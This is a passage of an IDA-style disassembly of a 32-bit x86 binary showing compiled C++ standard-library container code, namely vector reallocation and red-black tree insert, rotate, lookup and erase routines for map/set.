inc ebx
loc_409EB2: ; CODE XREF: sub_409E2A+7Cj
mov ecx, ebx
call sub_406988
push eax
push dword ptr [ebp+10h]
mov byte ptr [ebp-4], 1
mov ecx, [esi+4]
mov [ebp-14h], eax
mov [ebp+8], eax
call sub_4071F6
lea ecx, [ebp-4Ch]
push ecx
push 1
push eax
mov [ebp+8], eax
call sub_40993D
mov ecx, [ebp+10h]
push eax
push dword ptr [esi+8]
mov [ebp+8], eax
call sub_4071F6
mov eax, esi
call sub_40690A
mov edi, eax
mov eax, [esi+4]
inc edi
test eax, eax
jz short loc_409F0F
push dword ptr [esi+8]
call sub_406737
push dword ptr [esi+4]
call sub_40DD8A
pop ecx
loc_409F0F: ; CODE XREF: sub_409E2A+D2j
mov eax, [ebp-14h]
imul ebx, 38h
imul edi, 38h
add ebx, eax
add edi, eax
mov [esi+0Ch], ebx
mov [esi+8], edi
mov [esi+4], eax
jmp loc_409FF9
; ---------------------------------------------------------------------------
loc_409F2A: ; DATA XREF: .vty:00420954o
push dword ptr [ebp+8]
mov eax, [ebp-14h]
call sub_406737
push dword ptr [ebp-14h]
call sub_40DD8A
pop ecx
loc_409F3E: ; CODE XREF: sub_409E2A+196j
push 0
push 0
call sub_4107BC
loc_409F47: ; CODE XREF: sub_409E2A+5Cj
mov ebx, [esi+8]
mov edi, [ebp+10h]
mov eax, ebx
sub eax, edi
push 38h
cdq
pop ecx
idiv ecx
cmp eax, 1
jnb short loc_409FC5
lea eax, [edi+38h]
push eax
push ebx
mov ecx, edi
call sub_4071F6
mov byte ptr [ebp-4], 3
mov ecx, [esi+8]
lea eax, [ebp-4Ch]
push eax
mov eax, ecx
sub eax, edi
push 38h
pop ebx
cdq
idiv ebx
xor edx, edx
inc edx
sub edx, eax
push edx
push ecx
call sub_40993D
and dword ptr [ebp-4], 0
add [esi+8], ebx
mov esi, [esi+8]
lea ebx, [esi-38h]
jmp short loc_409FA5
; ---------------------------------------------------------------------------
loc_409F98: ; CODE XREF: sub_409E2A+17Dj
lea eax, [ebp-4Ch]
mov esi, edi
call sub_4076C2
add edi, 38h
loc_409FA5: ; CODE XREF: sub_409E2A+16Cj
cmp edi, ebx
jnz short loc_409F98
jmp short loc_409FF9
; ---------------------------------------------------------------------------
loc_409FAB: ; DATA XREF: .vty:00420964o
mov eax, [ebp+8]
mov eax, [eax+8]
add eax, 38h
push eax
mov eax, [ebp+10h]
add eax, 38h
call sub_406737
jmp loc_409F3E
; ---------------------------------------------------------------------------
loc_409FC5: ; CODE XREF: sub_409E2A+130j
push ebx
lea ecx, [ebx-38h]
push ebx
mov [ebp+8], ecx
call sub_4071F6
mov [esi+8], eax
mov eax, [ebp+8]
push ebx
push edi
call sub_40B1BF
lea ebx, [edi+38h]
cmp edi, ebx
pop ecx
pop ecx
mov esi, edi
jz short loc_409FF9
loc_409FEA: ; CODE XREF: sub_409E2A+1CDj
lea eax, [ebp-4Ch]
call sub_4076C2
add esi, 38h
cmp esi, ebx
jnz short loc_409FEA
loc_409FF9: ; CODE XREF: sub_409E2A+FBj
; sub_409E2A+17Fj ...
push 0
push 1
lea ecx, [ebp-30h]
call sub_4013C4
push 0
push 1
lea ecx, [ebp-4Ch]
call sub_4013C4
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 0Ch
sub_409E2A endp
; =============== S U B R O U T I N E =======================================
sub_40A022 proc near ; CODE XREF: sub_40996D+4Bp
mov eax, offset loc_41B50C
call sub_41AE44
sub esp, 34h
push ebx
push esi
mov esi, [ebp+8]
push edi
lea eax, [ebp-40h]
mov [ebp-10h], esp
push eax
mov edi, ecx
call sub_407560
xor edi, edi
mov [ebp-4], edi
mov ecx, [esi+4]
cmp ecx, edi
jz short loc_40A05C
mov eax, [esi+0Ch]
sub eax, ecx
push 2Ch
cdq
pop ecx
idiv ecx
mov edi, eax
loc_40A05C: ; CODE XREF: sub_40A022+2Bj
mov eax, esi
call sub_406949
mov ebx, 5D1745Dh
mov ecx, ebx
sub ecx, eax
cmp ecx, 1
jnb short loc_40A076
call sub_40684D
loc_40A076: ; CODE XREF: sub_40A022+4Dj
mov eax, esi
call sub_406949
inc eax
cmp edi, eax
jnb loc_40A141
mov eax, edi
shr eax, 1
sub ebx, eax
cmp ebx, edi
jnb short loc_40A094
xor edi, edi
jmp short loc_40A096
; ---------------------------------------------------------------------------
loc_40A094: ; CODE XREF: sub_40A022+6Cj
add edi, eax
loc_40A096: ; CODE XREF: sub_40A022+70j
mov eax, esi
call sub_406949
inc eax
cmp edi, eax
jnb short loc_40A0AC
mov eax, esi
call sub_406949
mov edi, eax
inc edi
loc_40A0AC: ; CODE XREF: sub_40A022+7Ej
mov ecx, edi
call sub_4069D2
push eax
push dword ptr [ebp+10h]
mov byte ptr [ebp-4], 1
mov ecx, [esi+4]
mov [ebp-14h], eax
mov [ebp+8], eax
call sub_40B203
lea ecx, [ebp-40h]
push ecx
push 1
push eax
mov [ebp+8], eax
call sub_4099EC
mov ecx, [ebp+10h]
push eax
push dword ptr [esi+8]
mov [ebp+8], eax
call sub_40B203
mov eax, esi
call sub_406949
mov ebx, eax
mov eax, [esi+4]
inc ebx
test eax, eax
jz short loc_40A109
push dword ptr [esi+8]
call sub_4067F1
push dword ptr [esi+4]
call sub_40DD8A
pop ecx
loc_40A109: ; CODE XREF: sub_40A022+D4j
mov eax, [ebp-14h]
imul edi, 2Ch
imul ebx, 2Ch
add edi, eax
add ebx, eax
mov [esi+0Ch], edi
mov [esi+8], ebx
mov [esi+4], eax
jmp loc_40A221
; ---------------------------------------------------------------------------
loc_40A124: ; DATA XREF: .vty:00421178o
push dword ptr [ebp+8]
mov eax, [ebp-14h]
call sub_4067F1
push dword ptr [ebp-14h]
call sub_40DD8A
pop ecx
loc_40A138: ; CODE XREF: sub_40A022+1B4j
push 0
push 0
call sub_4107BC
loc_40A141: ; CODE XREF: sub_40A022+5Ej
mov edi, [esi+8]
mov ebx, [ebp+10h]
mov eax, edi
sub eax, ebx
push 2Ch
cdq
pop ecx
idiv ecx
cmp eax, 1
jnb loc_40A1DB
lea eax, [ebx+2Ch]
push eax
push edi
mov ecx, ebx
call sub_40B203
mov byte ptr [ebp-4], 3
mov ecx, [esi+8]
lea eax, [ebp-40h]
push eax
mov eax, ecx
sub eax, ebx
push 2Ch
pop edi
cdq
idiv edi
xor edx, edx
inc edx
sub edx, eax
push edx
push ecx
call sub_4099EC
and dword ptr [ebp-4], 0
add [esi+8], edi
mov esi, [esi+8]
lea edi, [esi-2Ch]
cmp ebx, edi
mov esi, ebx
jz loc_40A221
loc_40A19E: ; CODE XREF: sub_40A022+19Bj
push 0FFFFFFFFh
push 0
lea eax, [ebp-40h]
push eax
mov ecx, esi
call sub_401315
lea eax, [esi+1Ch]
lea ebx, [ebp-24h]
call sub_4056BC
add esi, 2Ch
cmp esi, edi
jnz short loc_40A19E
jmp short loc_40A221
; ---------------------------------------------------------------------------
loc_40A1C1: ; DATA XREF: .vty:00421188o
mov eax, [ebp+8]
mov eax, [eax+8]
add eax, 2Ch
push eax
mov eax, [ebp+10h]
add eax, 2Ch
call sub_4067F1
jmp loc_40A138
; ---------------------------------------------------------------------------
loc_40A1DB: ; CODE XREF: sub_40A022+132j
push edi
lea ecx, [edi-2Ch]
push edi
mov [ebp+8], ecx
call sub_40B203
mov [esi+8], eax
mov eax, [ebp+8]
push edi
push ebx
call sub_40B227
lea edi, [ebx+2Ch]
cmp ebx, edi
pop ecx
pop ecx
mov esi, ebx
jz short loc_40A221
loc_40A200: ; CODE XREF: sub_40A022+1FDj
push 0FFFFFFFFh
push 0
lea eax, [ebp-40h]
push eax
mov ecx, esi
call sub_401315
lea eax, [esi+1Ch]
lea ebx, [ebp-24h]
call sub_4056BC
add esi, 2Ch
cmp esi, edi
jnz short loc_40A200
loc_40A221: ; CODE XREF: sub_40A022+FDj
; sub_40A022+176j ...
lea esi, [ebp-24h]
call sub_405AAC
push 0
push 1
lea ecx, [ebp-40h]
call sub_4013C4
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 0Ch
sub_40A022 endp
; =============== S U B R O U T I N E =======================================
sub_40A246 proc near ; CODE XREF: sub_409A1D+4Bp
mov eax, offset loc_41B13B
call sub_41AE44
sub esp, 20h
push ebx
push esi
mov esi, [ebp+8]
push edi
mov [ebp-10h], esp
push dword ptr [ebp+0Ch]
lea ecx, [ebp-2Ch]
call sub_401C1E
xor ebx, ebx
mov [ebp-4], ebx
mov ecx, [esi+4]
cmp ecx, ebx
jz short loc_40A280
mov eax, [esi+0Ch]
sub eax, ecx
push 1Ch
cdq
pop ecx
idiv ecx
mov ebx, eax
loc_40A280: ; CODE XREF: sub_40A246+2Bj
mov eax, esi
call sub_4057B6
mov edi, 9249249h
mov ecx, edi
sub ecx, eax
cmp ecx, 1
jnb short loc_40A29A
call sub_40684D
loc_40A29A: ; CODE XREF: sub_40A246+4Dj
mov eax, esi
call sub_4057B6
inc eax
cmp ebx, eax
jnb loc_40A365
mov eax, ebx
shr eax, 1
sub edi, eax
cmp edi, ebx
jnb short loc_40A2B8
xor ebx, ebx
jmp short loc_40A2BA
; ---------------------------------------------------------------------------
loc_40A2B8: ; CODE XREF: sub_40A246+6Cj
add ebx, eax
loc_40A2BA: ; CODE XREF: sub_40A246+70j
mov eax, esi
call sub_4057B6
inc eax
cmp ebx, eax
jnb short loc_40A2D0
mov eax, esi
call sub_4057B6
mov ebx, eax
inc ebx
loc_40A2D0: ; CODE XREF: sub_40A246+7Ej
mov ecx, ebx
call sub_405F1C
push eax
push dword ptr [ebp+14h]
mov byte ptr [ebp-4], 1
mov ecx, [esi+4]
mov [ebp+0Ch], eax
mov [ebp+8], eax
call sub_40B26B
lea ecx, [ebp-2Ch]
push ecx
push 1
push eax
mov [ebp+8], eax
call sub_409A9C
mov ecx, [ebp+14h]
push eax
push dword ptr [esi+8]
mov [ebp+8], eax
call sub_40B26B
mov eax, esi
call sub_4057B6
mov edi, eax
mov eax, [esi+4]
inc edi
test eax, eax
jz short loc_40A32D
push dword ptr [esi+8]
call sub_405A8F
push dword ptr [esi+4]
call sub_40DD8A
pop ecx
loc_40A32D: ; CODE XREF: sub_40A246+D4j
mov eax, [ebp+0Ch]
imul ebx, 1Ch
imul edi, 1Ch
add ebx, eax
add edi, eax
mov [esi+0Ch], ebx
mov [esi+8], edi
mov [esi+4], eax
jmp loc_40A42E
; ---------------------------------------------------------------------------
loc_40A348: ; DATA XREF: .vty:004208C0o
push dword ptr [ebp+8]
mov eax, [ebp+0Ch]
call sub_405A8F
push dword ptr [ebp+0Ch]
call sub_40DD8A
pop ecx
loc_40A35C: ; CODE XREF: sub_40A246+19Dj
push 0
push 0
call sub_4107BC
loc_40A365: ; CODE XREF: sub_40A246+5Ej
mov edi, [esi+8]
mov ebx, [ebp+14h]
mov eax, edi
sub eax, ebx
push 1Ch
cdq
pop ecx
idiv ecx
cmp eax, 1
jnb short loc_40A3E8
lea eax, [ebx+1Ch]
push eax
push edi
mov ecx, ebx
call sub_40B26B
mov byte ptr [ebp-4], 3
mov ecx, [esi+8]
lea eax, [ebp-2Ch]
push eax
mov eax, ecx
sub eax, ebx
push 1Ch
pop edi
cdq
idiv edi
xor edx, edx
inc edx
sub edx, eax
push edx
push ecx
call sub_409A9C
and dword ptr [ebp-4], 0
add [esi+8], edi
mov esi, [esi+8]
add esi, 0FFFFFFE4h
jmp short loc_40A3C8
; ---------------------------------------------------------------------------
loc_40A3B6: ; CODE XREF: sub_40A246+184j
push 0FFFFFFFFh
push 0
lea eax, [ebp-2Ch]
push eax
mov ecx, ebx
call sub_401315
add ebx, 1Ch
loc_40A3C8: ; CODE XREF: sub_40A246+16Ej
cmp ebx, esi
jnz short loc_40A3B6
jmp short loc_40A42E
; ---------------------------------------------------------------------------
loc_40A3CE: ; DATA XREF: .vty:004208D0o
mov eax, [ebp+8]
mov eax, [eax+8]
add eax, 1Ch
push eax
mov eax, [ebp+14h]
add eax, 1Ch
call sub_405A8F
jmp loc_40A35C
; ---------------------------------------------------------------------------
loc_40A3E8: ; CODE XREF: sub_40A246+132j
push edi
lea ecx, [edi-1Ch]
push edi
call sub_40B26B
mov [esi+8], eax
lea esi, [edi-1Ch]
cmp ebx, esi
jz short loc_40A40F
sub edi, esi
loc_40A3FE: ; CODE XREF: sub_40A246+1C7j
sub esi, 1Ch
lea ecx, [edi+esi]
mov eax, esi
call sub_40B455
cmp esi, ebx
jnz short loc_40A3FE
loc_40A40F: ; CODE XREF: sub_40A246+1B4j
lea edi, [ebx+1Ch]
cmp ebx, edi
mov esi, ebx
jz short loc_40A42E
loc_40A418: ; CODE XREF: sub_40A246+1E6j
push 0FFFFFFFFh
push 0
lea eax, [ebp-2Ch]
push eax
mov ecx, esi
call sub_401315
add esi, 1Ch
cmp esi, edi
jnz short loc_40A418
loc_40A42E: ; CODE XREF: sub_40A246+FDj
; sub_40A246+186j ...
push 0
push 1
lea ecx, [ebp-2Ch]
call sub_4013C4
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 10h
sub_40A246 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A44B proc near ; CODE XREF: sub_409ACC+166p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+4]
push edi
mov edi, [eax+4]
mov [ebp+var_4], eax
mov al, 1
mov byte ptr [ebp+var_8], al
jmp short loc_40A482
; ---------------------------------------------------------------------------
loc_40A466: ; CODE XREF: sub_40A44B+3Bj
mov eax, [ebp+arg_4]
lea ecx, [edi+0Ch]
mov [ebp+var_4], edi
call sub_409C4D
test al, al
mov byte ptr [ebp+var_8], al
jz short loc_40A47F
mov edi, [edi]
jmp short loc_40A482
; ---------------------------------------------------------------------------
loc_40A47F: ; CODE XREF: sub_40A44B+2Ej
mov edi, [edi+8]
loc_40A482: ; CODE XREF: sub_40A44B+19j
; sub_40A44B+32j
cmp byte ptr [edi+45h], 0
jz short loc_40A466
test al, al
mov edi, [ebp+var_4]
mov [ebp+var_C], edi
mov [ebp+var_10], esi
jz short loc_40A4E1
mov eax, [esi+4]
mov eax, [eax]
mov [ebp+var_18], esi
lea edi, [ebp+var_18]
lea esi, [ebp+var_10]
mov [ebp+var_14], eax
call sub_40989F
test al, al
jz short loc_40A4D3
push [ebp+arg_4]
mov esi, [ebp+arg_0]
push 1
loc_40A4B7: ; CODE XREF: sub_40A44B+ABj
mov ecx, [ebp+var_4]
lea eax, [ebp+var_18]
push eax
call sub_40A5B6
mov ecx, [eax]
mov eax, [eax+4]
mov [ebx], ecx
mov [ebx+4], eax
mov byte ptr [ebx+8], 1
jmp short loc_40A504
; ---------------------------------------------------------------------------
loc_40A4D3: ; CODE XREF: sub_40A44B+62j
lea esi, [ebp+var_10]
call sub_40A8CD
mov edi, [ebp+var_C]
mov esi, [ebp+arg_0]
loc_40A4E1: ; CODE XREF: sub_40A44B+48j
mov ecx, [ebp+arg_4]
lea eax, [edi+0Ch]
call sub_409C4D
test al, al
jz short loc_40A4F8
push [ebp+arg_4]
push [ebp+var_8]
jmp short loc_40A4B7
; ---------------------------------------------------------------------------
loc_40A4F8: ; CODE XREF: sub_40A44B+A3j
mov eax, [ebp+var_10]
mov [ebx], eax
mov [ebx+4], edi
mov byte ptr [ebx+8], 0
loc_40A504: ; CODE XREF: sub_40A44B+86j
pop edi
mov eax, ebx
pop esi
leave
retn 8
sub_40A44B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A50C proc near ; CODE XREF: sub_4096B6+1Ap
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebx+4]
mov eax, [eax]
push esi
push edi
lea edi, [ebp+var_C]
lea esi, [ebp+arg_4]
mov [ebp+var_8], eax
mov [ebp+var_C], ebx
call sub_40989F
test al, al
jz short loc_40A593
mov eax, [ebx+4]
lea edi, [ebp+var_C]
lea esi, [ebp+arg_C]
mov [ebp+var_8], eax
mov [ebp+var_C], ebx
call sub_40989F
test al, al
jz short loc_40A593
mov eax, [ebx+4]
push dword ptr [eax+4]
mov ecx, ebx
call sub_40B079
mov eax, [ebx+4]
mov [eax+4], eax
mov eax, [ebx+4]
and dword ptr [ebx+8], 0
mov [eax], eax
mov eax, [ebx+4]
mov [eax+8], eax
mov eax, [ebx+4]
mov ecx, [eax]
mov eax, [ebp+arg_0]
mov [eax], ebx
jmp short loc_40A5AD
; ---------------------------------------------------------------------------
loc_40A574: ; CODE XREF: sub_40A50C+94j
mov eax, [ebp+arg_8]
mov edi, [ebp+arg_4]
lea esi, [ebp+arg_4]
mov [ebp+var_8], eax
call sub_409852
push [ebp+var_8]
lea eax, [ebp+var_14]
push edi
push eax
push ebx
call sub_40A92E
loc_40A593: ; CODE XREF: sub_40A50C+20j
; sub_40A50C+38j
lea edi, [ebp+arg_C]
lea esi, [ebp+arg_4]
call sub_40989F
test al, al
jz short loc_40A574
mov ecx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov [eax], ecx
mov ecx, [ebp+arg_8]
loc_40A5AD: ; CODE XREF: sub_40A50C+66j
pop edi
mov [eax+4], ecx
pop esi
leave
retn 14h
sub_40A50C endp
; =============== S U B R O U T I N E =======================================
sub_40A5B6 proc near ; CODE XREF: sub_409ACC+25p
; sub_40A44B+73p
mov eax, offset loc_41B10D
call sub_41AE44
sub esp, 48h
cmp dword ptr [esi+8], 4924923h
push ebx
push edi
mov edi, ecx
jb short loc_40A602
push offset aMapSetTTooLong ; "map/set<T> too long"
lea ecx, [ebp-28h]
call sub_401C44
and dword ptr [ebp-4], 0
lea eax, [ebp-28h]
push eax
lea ecx, [ebp-50h]
call sub_401869
push offset dword_41FEF8
lea eax, [ebp-50h]
push eax
mov dword ptr [ebp-50h], offset off_41C2A8
call sub_4107BC
loc_40A602: ; CODE XREF: sub_40A5B6+18j
push dword ptr [ebp+10h]
mov eax, [esi+4]
push eax
push edi
push eax
call sub_40AC8B
inc dword ptr [esi+8]
mov ebx, eax
mov eax, [esi+4]
cmp edi, eax
jnz short loc_40A629
mov [eax+4], ebx
mov eax, [esi+4]
mov [eax], ebx
mov eax, [esi+4]
jmp short loc_40A647
; ---------------------------------------------------------------------------
loc_40A629: ; CODE XREF: sub_40A5B6+64j
cmp byte ptr [ebp+0Ch], 0
jz short loc_40A63C
mov [edi], ebx
mov eax, [esi+4]
cmp edi, [eax]
jnz short loc_40A64A
mov [eax], ebx
jmp short loc_40A64A
; ---------------------------------------------------------------------------
loc_40A63C: ; CODE XREF: sub_40A5B6+77j
mov [edi+8], ebx
mov eax, [esi+4]
cmp edi, [eax+8]
jnz short loc_40A64A
loc_40A647: ; CODE XREF: sub_40A5B6+71j
mov [eax+8], ebx
loc_40A64A: ; CODE XREF: sub_40A5B6+80j
; sub_40A5B6+84j ...
mov edi, ebx
lea eax, [ebx+4]
jmp loc_40A6DE
; ---------------------------------------------------------------------------
loc_40A654: ; CODE XREF: sub_40A5B6+12Ej
mov ecx, [eax]
mov edx, [ecx+4]
cmp ecx, [edx]
jnz short loc_40A692
mov edx, [edx+8]
cmp byte ptr [edx+44h], 0
jz short loc_40A69A
cmp edi, [ecx+8]
jnz short loc_40A673
push esi
mov edi, ecx
call sub_40ABDF
loc_40A673: ; CODE XREF: sub_40A5B6+B3j
mov eax, [edi+4]
mov byte ptr [eax+44h], 1
mov eax, [edi+4]
mov eax, [eax+4]
mov byte ptr [eax+44h], 0
mov eax, [edi+4]
mov ecx, [eax+4]
push esi
call sub_40AC1F
jmp short loc_40A6DB
; ---------------------------------------------------------------------------
loc_40A692: ; CODE XREF: sub_40A5B6+A5j
mov edx, [edx]
cmp byte ptr [edx+44h], 0
jnz short loc_40A6B2
loc_40A69A: ; CODE XREF: sub_40A5B6+AEj
mov byte ptr [ecx+44h], 1
mov byte ptr [edx+44h], 1
mov ecx, [eax]
mov ecx, [ecx+4]
mov byte ptr [ecx+44h], 0
mov eax, [eax]
mov edi, [eax+4]
jmp short loc_40A6DB
; ---------------------------------------------------------------------------
loc_40A6B2: ; CODE XREF: sub_40A5B6+E2j
cmp edi, [ecx]
jnz short loc_40A6BE
push esi
mov edi, ecx
call sub_40AC1F
loc_40A6BE: ; CODE XREF: sub_40A5B6+FEj
mov eax, [edi+4]
mov byte ptr [eax+44h], 1
mov eax, [edi+4]
mov eax, [eax+4]
mov byte ptr [eax+44h], 0
mov eax, [edi+4]
mov ecx, [eax+4]
push esi
call sub_40ABDF
loc_40A6DB: ; CODE XREF: sub_40A5B6+DAj
; sub_40A5B6+FAj
lea eax, [edi+4]
loc_40A6DE: ; CODE XREF: sub_40A5B6+99j
mov ecx, [eax]
cmp byte ptr [ecx+44h], 0
jz loc_40A654
mov eax, [esi+4]
mov eax, [eax+4]
mov ecx, [ebp-0Ch]
mov byte ptr [eax+44h], 1
mov eax, [ebp+8]
mov [eax+4], ebx
pop edi
mov [eax], esi
mov large fs:0, ecx
pop ebx
leave
retn 0Ch
sub_40A5B6 endp
; =============== S U B R O U T I N E =======================================
sub_40A70C proc near ; CODE XREF: sub_4089E6+2E5p
; sub_4095C0+18p
arg_0 = dword ptr 4
mov eax, [eax+4]
push esi
mov esi, [eax+4]
push edi
mov edi, eax
jmp short loc_40A731
; ---------------------------------------------------------------------------
loc_40A718: ; CODE XREF: sub_40A70C+29j
mov ecx, [esp+8+arg_0]
lea eax, [esi+0Ch]
call sub_409C4D
test al, al
jz short loc_40A72D
mov esi, [esi+8]
jmp short loc_40A731
; ---------------------------------------------------------------------------
loc_40A72D: ; CODE XREF: sub_40A70C+1Aj
mov edi, esi
mov esi, [esi]
loc_40A731: ; CODE XREF: sub_40A70C+Aj
; sub_40A70C+1Fj
cmp byte ptr [esi+45h], 0
jz short loc_40A718
mov eax, edi
pop edi
pop esi
retn 4
sub_40A70C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A73E proc near ; CODE XREF: sub_4096EB+19p
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [edi+4]
sub esp, 14h
cmp [ebp+arg_0], 0
push esi
mov esi, [eax]
jz short loc_40A755
cmp [ebp+arg_0], edi
jz short loc_40A75A
loc_40A755: ; CODE XREF: sub_40A73E+10j
call sub_40DCFC
loc_40A75A: ; CODE XREF: sub_40A73E+15j
cmp [ebp+arg_4], esi
jnz short loc_40A7A2
cmp [ebp+arg_8], 0
mov esi, [edi+4]
jz short loc_40A76D
cmp [ebp+arg_8], edi
jz short loc_40A772
loc_40A76D: ; CODE XREF: sub_40A73E+28j
call sub_40DCFC
loc_40A772: ; CODE XREF: sub_40A73E+2Dj
cmp [ebp+arg_C], esi
jnz short loc_40A7A2
mov eax, [edi+4]
push dword ptr [eax+4]
mov ecx, edi
call sub_40B0CB
mov eax, [edi+4]
mov [eax+4], eax
mov eax, [edi+4]
and dword ptr [edi+8], 0
mov [eax], eax
mov eax, [edi+4]
mov [eax+8], eax
mov eax, [edi+4]
mov eax, [eax]
mov [ebx], edi
jmp short loc_40A7E0
; ---------------------------------------------------------------------------
loc_40A7A2: ; CODE XREF: sub_40A73E+1Fj
; sub_40A73E+37j ...
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_40A7AE
cmp eax, [ebp+arg_8]
jz short loc_40A7B3
loc_40A7AE: ; CODE XREF: sub_40A73E+69j
call sub_40DCFC
loc_40A7B3: ; CODE XREF: sub_40A73E+6Ej
mov eax, [ebp+arg_4]
cmp eax, [ebp+arg_C]
mov ecx, [ebp+arg_0]
jz short loc_40A7DE
lea esi, [ebp+arg_0]
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
call sub_40B11B
push [ebp+var_4]
lea eax, [ebp+var_10]
push [ebp+var_8]
push eax
push edi
call sub_40ACEC
jmp short loc_40A7A2
; ---------------------------------------------------------------------------
loc_40A7DE: ; CODE XREF: sub_40A73E+7Ej
mov [ebx], ecx
loc_40A7E0: ; CODE XREF: sub_40A73E+62j
mov [ebx+4], eax
mov eax, ebx
pop esi
leave
retn 10h
sub_40A73E endp
; =============== S U B R O U T I N E =======================================
sub_40A7EA proc near ; CODE XREF: sub_409C73+B8p
; sub_409C73+120p ...
arg_0 = dword ptr 4
mov eax, [ecx+8]
mov edx, [eax]
mov [ecx+8], edx
mov edx, [eax]
cmp byte ptr [edx+39h], 0
jnz short loc_40A7FD
mov [edx+4], ecx
loc_40A7FD: ; CODE XREF: sub_40A7EA+Ej
mov edx, [ecx+4]
mov [eax+4], edx
mov edx, [esp+arg_0]
mov edx, [edx+4]
cmp ecx, [edx+4]
jnz short loc_40A814
mov [edx+4], eax
jmp short loc_40A822
; ---------------------------------------------------------------------------
loc_40A814: ; CODE XREF: sub_40A7EA+23j
mov edx, [ecx+4]
cmp ecx, [edx]
jnz short loc_40A81F
mov [edx], eax
jmp short loc_40A822
; ---------------------------------------------------------------------------
loc_40A81F: ; CODE XREF: sub_40A7EA+2Fj
mov [edx+8], eax
loc_40A822: ; CODE XREF: sub_40A7EA+28j
; sub_40A7EA+33j
mov [eax], ecx
mov [ecx+4], eax
retn 4
sub_40A7EA endp
; =============== S U B R O U T I N E =======================================
sub_40A82A proc near ; CODE XREF: sub_409C73+D5p
; sub_409C73+103p ...
arg_0 = dword ptr 4
mov eax, [ecx]
mov edx, [eax+8]
mov [ecx], edx
mov edx, [eax+8]
cmp byte ptr [edx+39h], 0
jnz short loc_40A83D
mov [edx+4], ecx
loc_40A83D: ; CODE XREF: sub_40A82A+Ej
mov edx, [ecx+4]
mov [eax+4], edx
mov edx, [esp+arg_0]
mov edx, [edx+4]
cmp ecx, [edx+4]
jnz short loc_40A854
mov [edx+4], eax
jmp short loc_40A863
; ---------------------------------------------------------------------------
loc_40A854: ; CODE XREF: sub_40A82A+23j
mov edx, [ecx+4]
cmp ecx, [edx+8]
jnz short loc_40A861
mov [edx+8], eax
jmp short loc_40A863
; ---------------------------------------------------------------------------
loc_40A861: ; CODE XREF: sub_40A82A+30j
mov [edx], eax
loc_40A863: ; CODE XREF: sub_40A82A+28j
; sub_40A82A+35j
mov [eax+8], ecx
mov [ecx+4], eax
retn 4
sub_40A82A endp
; =============== S U B R O U T I N E =======================================
sub_40A86C proc near ; CODE XREF: sub_409C73+55p
mov eax, offset loc_41B34D
call sub_41AE44
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp-10h], esp
push 3Ch
call sub_40DE68
mov esi, eax
pop ecx
mov [ebp-14h], esi
test esi, esi
mov dword ptr [ebp-4], 1
jz short loc_40A8A7
push dword ptr [ebp+10h]
mov ebx, [ebp+14h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40B025
loc_40A8A7: ; CODE XREF: sub_40A86C+28j
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 10h
sub_40A86C endp
; =============== S U B R O U T I N E =======================================
sub_40A8BA proc near ; DATA XREF: .vty:00420DECo
push dword ptr [ebp-14h]
call sub_40DD8A
pop ecx
push 0
push 0
call sub_4107BC
int 3 ; Trap to Debugger
sub_40A8BA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40A8CD proc near ; CODE XREF: sub_409ACC+C5p
; sub_40A44B+8Bp
push ebx
xor ebx, ebx
cmp [esi], ebx
jnz short loc_40A8D9
call sub_40DCFC
loc_40A8D9: ; CODE XREF: sub_40A8CD+5j
mov eax, [esi+4]
cmp [eax+45h], bl
jz short loc_40A8EE
mov eax, [eax+8]
mov [esi+4], eax
cmp [eax+45h], bl
jz short loc_40A92A
jmp short loc_40A920
; ---------------------------------------------------------------------------
loc_40A8EE: ; CODE XREF: sub_40A8CD+12j
mov ecx, [eax]
cmp [ecx+45h], bl
jnz short loc_40A910
jmp short loc_40A8F9
; ---------------------------------------------------------------------------
loc_40A8F7: ; CODE XREF: sub_40A8CD+32j
mov ecx, eax
loc_40A8F9: ; CODE XREF: sub_40A8CD+28j
mov eax, [ecx+8]
cmp [eax+45h], bl
jz short loc_40A8F7
mov [esi+4], ecx
jmp short loc_40A92A
; ---------------------------------------------------------------------------
loc_40A906: ; CODE XREF: sub_40A8CD+49j
mov ecx, [esi+4]
cmp ecx, [eax]
jnz short loc_40A918
mov [esi+4], eax
loc_40A910: ; CODE XREF: sub_40A8CD+26j
mov eax, [eax+4]
cmp [eax+45h], bl
jz short loc_40A906
loc_40A918: ; CODE XREF: sub_40A8CD+3Ej
mov ecx, [esi+4]
cmp [ecx+45h], bl
jz short loc_40A927
loc_40A920: ; CODE XREF: sub_40A8CD+1Fj
call sub_40DCFC
jmp short loc_40A92A
; ---------------------------------------------------------------------------
loc_40A927: ; CODE XREF: sub_40A8CD+51j
mov [esi+4], eax
loc_40A92A: ; CODE XREF: sub_40A8CD+1Dj
; sub_40A8CD+37j ...
mov eax, esi
pop ebx
retn
sub_40A8CD endp
; =============== S U B R O U T I N E =======================================
sub_40A92E proc near ; CODE XREF: sub_40A50C+82p
mov eax, offset loc_41AFA6
call sub_41AE44
sub esp, 48h
push ebx
push esi
push edi
